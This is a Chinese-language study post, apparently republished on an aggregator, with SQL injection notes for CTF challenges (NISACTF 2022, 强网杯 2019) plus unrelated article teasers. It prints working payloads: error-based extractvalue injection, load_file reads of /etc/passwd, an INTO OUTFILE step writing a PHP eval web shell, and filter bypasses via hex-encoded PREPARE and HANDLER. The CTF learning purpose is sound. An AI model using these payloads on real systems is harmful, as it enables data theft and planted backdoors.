SQL進階學習

1.[NISACTF 2022]join-us??sql報錯注入和聯合注入

過濾:
as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()

其實一開始想到的是布爾盲注,因為輸入1會返回txw4ever,輸入0返回空白,但是禁用了ascii函數,禁用了updatexml函數,但是可以使用extractvalue函數。

database被禁,所以可以考慮用訪問一個不存在的數據庫來返回數據庫

1'||(select * from aa)#或者將||換成or,爆出sqlsql庫。-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出output表-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
爆出data列名-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

由于as也被過濾,無列名注入可以用join 連接

首先自連接查詢出來的表,沒有using條件的結果是兩張表的笛卡爾積,那么列名必然會有重復的部分,而主鍵是不允許重復的,所以查詢出來會報錯,也就把列名爆出來了

select*from (select*from output a join output b)c

2.mysql注入文件操作(root權限)

方法一:

mysql中的load_file函數,允許訪問系統內任意文件并將內容以字符串形式返回,不過需要高權限,且函數參數要求文件的絕對路徑,絕對路徑猜測是/var/www/html/flag.php

構造payload:

0 and updatexml(1,concat('~',(select(database())),'~'),1)%23 0 and updatexml(1,concat('~',(select(user())),'~'),1)%23 
爆出root用戶0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#?0?Union select 1,load_file("/etc/passwd")--+

方法二:

寫入函數為into outfile()
INTO OUTFILE()函數將自定義字符串寫入指定文件中 (前提權限允許寫入)

0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"Union select 1,"<?php @eval($_POST[x])?>",1 into outfile '/var/www/html/Less-1/1.php'--+

?3.[強網杯 2019]隨便注

?

一般select等被禁用時,可以考慮堆疊注入

show databases//列出服務器可訪問的數據庫
show tables//顯示該數據庫內相關表的名稱
show columns from tablename;//顯示表tablename的字段、字段類型、鍵值信息、是否可以用null、默認值及其他信息。

查看表
?inject=1' ;show database --+查看列
?inject= 1'; show columns from `words`--+ 或者
?inject= 1'; show columns from words--+
注意:這里使用的是反引號而不是雙引號,這兩個在Linux下不區分,但在Windows下區分。
單引號或者雙引號主要用于字符串的引用符號。
數據庫、表、索引、列和別名的引用符是反勾號。
有MySQL保留字作為字段的,必須加上反引號來區分,如果是數值,必須使用反引號

如何查看flag字段?

?方法一:16進制編碼 prepare預處理

因為select被過濾了,所以先將select * from `?1919810931114514?`進行16進制編碼

再通過構造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //刪除預定義SQL        語句變量定義預處理:
SET @tn = 'hahaha';  //存儲表名
SET @sql = concat('select * from ', @tn);  //存儲SQL語句
PREPARE name from @sql;   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

或者(2)本題即可利用 char() 函數將select的ASCII碼轉換為select字符串,接著利用concat()函數進行拼接得到select查詢語句,從而繞過過濾。或者直接用concat()函數拼接select來繞過。

char(115,101,108,101,99,116)等價于select'
因此根據題目意思我們可以構建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
  • prepare…from…是預處理語句,會進行編碼轉換。
  • execute用來執行由SQLPrepare創建的SQL語句。
  • SELECT可以在一條語句里對多個變量同時賦值,而SET只能一次對一個變量賦值

?方法二:handeler

HANDLER … OPEN語句打開一個表,使其可以使用后續HANDLER … READ語句訪問,該表對象未被其他會話共享,并且在會話調用HANDLER … CLOSE或會話終止之前不會關閉

';handler `1919810931114514` open;handler `1919810931114514` read first#

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/163463.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/163463.shtml
英文地址,請注明出處:http://en.pswp.cn/news/163463.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Vue3入門組合式 API

Vue3 學習 開發環境 tong ~/Projects/EasyVue3 $ node -v v16.20.1 tong ~/Projects/EasyVue3 $ sw_vers ProductName: macOS ProductVersion: 14.1.1 BuildVersion: 23B81 tong ~/Projects/EasyVue3 $ npm --version 8.19.4 tong ~/Projects/Ea…

selenium 簡單案例 <批量下載文件> <網頁自動化點擊上報>

一、批量下載文件 網頁分析 點擊跳轉到下載頁面 from selenium import webdriver import timedef get_link_list():# 創建瀏覽器對象driver webdriver.Chrome(executable_pathrC:\Users\nlp_1\Desktop\chromedriver\chromedriver-win32\chromedriver.exe)url https://www…

微信報名怎么做_輕松便捷的數字化報名體驗

微信報名&#xff1a;輕松便捷的數字化報名體驗 在這個數字化時代&#xff0c;微信已經成為我們生活中不可或缺的一部分。它不僅僅是一個社交平臺&#xff0c;更是一個功能強大的綜合性工具。其中&#xff0c;微信報名功能更是給我們的生活帶來了極大的便利。本文將詳細介紹微…

Django之cookie和session

文章目錄 Cookie的介紹Cookie的由來什么是CookieCookie原理Cookie覆蓋瀏覽器查看Cookie 在Django中操作Cookie設置Cookie查詢瀏覽器攜帶的Cookie刪除Cookie Cookie校驗登錄sessionSession的由來Session設置查看、更新Session值刪除Session值Seesion的其他方法Session的其他配置…

企業微信機器人:自動化辦公的未來已來!

導語&#xff1a;隨著科技的迅速發展&#xff0c;人工智能已經逐漸滲透到我們的日常生活和工作中。而企業微信機器人的出現&#xff0c;更是開啟了自動化辦公的新紀元。本文將為您詳細解析企業微信機器人的功能、優勢以及如何為企業帶來實質性的價值。 一、企業微信機器人的功…

擴展外部eMMC存儲

By Toradex胡珊逢 簡介 存儲器的嵌入式設備中扮演著重要角色&#xff0c;上面不僅安裝有操作系統&#xff0c;同時也保存著應用程序和運行日志等。對于存儲器如 eMMC&#xff0c;寫入的數據量決定其使用壽命&#xff0c;對于有大量日志記錄的應用&#xff0c;通常可以選用一個…

JavaScript:監聽事件

該方法用于向瀏覽器窗口注冊事件監聽器&#xff0c;當指定的事件&#xff08;如單擊、按鍵按下&#xff09;被觸發時&#xff0c;瀏覽器會自動調用指定的函數&#xff08;回調函數&#xff09;。 window.addEventListener(event, function, useCapture); 參數說明&#xff1a…

洛谷題單--線性表

P3156 【深基15.例1】詢問學號 鏈接 : 【深基15.例1】詢問學號 - 洛谷 直接輸入&#xff0c;然后輸出a[i]即可; 代碼 : #include<iostream> #include<cstring> #include<algorithm> #include<vector> using namespace std; int main(){int n, q …

請手寫一個發布-訂閱的模式

發布-訂閱模式也是經典的設計模式之一&#xff0c;它在前端很多地方都有應用&#xff0c;比如javascript事件池&#xff0c;Vue的$on、$off&#xff0c;nodejs的events模塊和socket通信等等都有應用&#xff0c;也是前端面試比較火熱的考點之一&#xff0c;接下來給大家詳細介紹…

cefsharp119.4.30(cef119.4.3,Chromium119.0.6045.159)版本升級體驗支持H264及其他多個H264版本

Cefsharp119.4.30,cef119.4.3,Chromium119.0.6045.159 此更新包括一個高優先級安全更新 This update includes a high priority security update. 說明:此版本119.4.3支持H264視頻播放(需要聯系我),其他版本。.NETFramework 4.6.2 NuGet Gallery | CefSharp.WinForms 119.…

運動規劃Motion-Planning隨筆

online verification技術 實時安全校驗技術&#xff1a;留一手 首先計算能否通過剎車這種方式得到一條安全軌跡&#xff0c;&#xff08;讓速不讓道&#xff09;&#xff0c;當剎車有可能碰撞到行人或其他車輛時&#xff0c;則判斷變道是否會產生碰撞。如果能變道&#xff0…

深度學習之七(深度信念網絡和受限玻爾茲曼機器)

概念 深度信念網絡(Deep Belief Networks,DBN)和受限玻爾茲曼機器(Restricted Boltzmann Machines,RBMs)都是無監督學習的模型,通常用于特征學習、降維和生成數據。 受限玻爾茲曼機器(RBM): 結構: RBM 是一個兩層神經網絡,包括一個可見層和一個隱藏層。這兩層之間…

qt按照不同編碼格式讀取文字(UTF-16LE,UTF-8,UTF-8BOM,UTF-16BE)

enum class EncodingFormat : int {ANSI 0,//GBKUTF16LE,UTF16BE,UTF8,UTF8BOM, }; EncodingFormat VideoPlayer::FileCharacterEncoding(const QString &fileName) {//假定默認編碼utf8EncodingFormat code EncodingFormat::UTF8;QFile file(fileName);if (file.open(QI…

「 系統設計 」 為什么要做架構分層?

「 系統設計 」 為什么要做架構分層&#xff1f; 參考&鳴謝 3.設計模式之分層思維&#xff1a;為什么要做代碼分層架構&#xff1f; 從零開始學架構&#xff08;八&#xff09;分層架構和設計模式 架構模式之分層架構總結 文章目錄 「 系統設計 」 為什么要做架構分層&…

解決 IDEA下VUE項目 @符號無法識別的問題

根目錄新建jsconfig.json {"compilerOptions": {"baseUrl": "./","paths": {"/*": ["src/*"]}},"exclude": ["node_modules","dist"] }

IT支持團隊的績效指標和最佳實踐

一名員工在遠程時因筆記本問題尋求IT支持&#xff0c;盡管他們多次嘗試排除故障&#xff0c;但由于缺乏專業知識&#xff0c;最終還是無法訪問工作所需的應用程序。這時&#xff0c;他們需要一名專業的 IT 技術人員來指導他們&#xff0c;但他們只能等待有人注意到并回應他們的…

海報設計必備:揭秘5款炙手可熱的設計工具

1.即時設計&#xff1a;能實現在線協作的海報設計軟件 即時設計作為 2020 年上線的國產設計工具&#xff0c;目前已經有了超百萬的注冊用戶&#xff0c;獲得了廣大設計師的一致好評。與其他傳統海報設計軟件相比&#xff0c;即時設計具有這幾個優點&#xff1a;一是所有功能都…

Chrome 訪問不了項目?10080端口 ERR_UNSAFE_PORT:問題原因 / 解決方案

文章目錄 被禁用端口列表解決方法方法一、更換端口 / 使用代理 / 使用域名方法二、對瀏覽器下手WindowsMac 最近有客戶反饋&#xff0c;在chrome瀏覽器中訪問不了項目&#xff0c;其他瀏覽器都是正常的。 &#xff1f;奇了怪了&#xff0c;難道客戶對chrome做了什么操作&#x…

Docker | Docker入門安裝

?作者簡介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;熱愛Java后端開發者&#xff0c;一個想要與大家共同進步的男人&#x1f609;&#x1f609; &#x1f34e;個人主頁&#xff1a;Leo的博客 &#x1f49e;當前專欄&#xff1a;Docker系列 ?特色專欄&#xff1a; My…

探索WebStorm 2023 Mac/win:最強大的JavaScript開發工具

在當今的軟件開發領域&#xff0c;JavaScript已經成為了一種不可或缺的編程語言。而在眾多的JavaScript開發工具中&#xff0c;WebStorm一直以其強大的功能和友好的用戶界面脫穎而出。現在&#xff0c;我們迎來了全新的WebStorm 2023版本&#xff0c;它將帶給開發者們更加出色的…